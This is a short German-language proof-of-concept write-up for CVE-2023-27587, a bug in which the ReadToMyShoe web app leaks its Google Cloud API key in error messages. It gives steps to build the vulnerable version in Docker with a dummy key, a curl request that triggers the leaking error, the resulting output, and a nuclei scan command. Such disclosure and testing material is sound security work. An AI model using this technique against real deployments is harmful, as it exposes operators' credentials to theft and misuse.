
Der einfache PoC von CVE-2023-27587
Der einfache PoC von CVE-2023-27587
ReadtoMyShoe (RTMS) ist eine Webanwendung (rust, yew und axum), mit der Sie Artikel hochladen können (per URL oder durch direktes Einfügen) und später anhören können.
Wenn beim Hinzufügen eines Artikels ein Fehler auftritt, zeigt die Website dem Benutzer eine Fehlermeldung. Wenn der Fehler aus der Google Cloud TTS-Anfrage stammt, enthält er die vollständige URL der Anfrage. Die Anfrage-URL enthält den Google Cloud API-Schlüssel.
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul
Der Schlüssel wird nur offengelegt, wenn bei dem GCP-Aufruf ein Fehler auftritt!
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
-H 'Accept-Encoding: gzip, deflate' \
-H 'content-type: application/json' \
--data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'
TTS failed: TTS request failed
Caused by:
HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-27587.yaml
$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>

https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587